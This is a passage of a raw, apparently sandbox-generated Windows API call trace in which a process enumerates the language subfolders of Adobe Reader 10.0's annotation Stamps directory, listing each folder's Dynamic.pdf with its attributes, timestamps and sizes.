ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.910] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.911] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.911] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0148.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.912] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.912] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.912] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.912] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0148.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.913] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.913] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.913] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.913] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0148.913] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.914] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.914] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.914] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.914] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0148.915] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.915] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.916] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.916] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.916] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0148.916] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.918] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.918] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.919] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.919] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0148.920] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.920] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.920] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.921] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.921] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0148.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.923] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.923] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.923] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.924] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0148.924] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.222] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.223] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.223] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.224] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0149.224] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.239] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.239] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.239] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.247] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0149.247] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0149.255] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.255] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0149.256] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0149.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0149.256] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0149.256] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x377e920 | out: 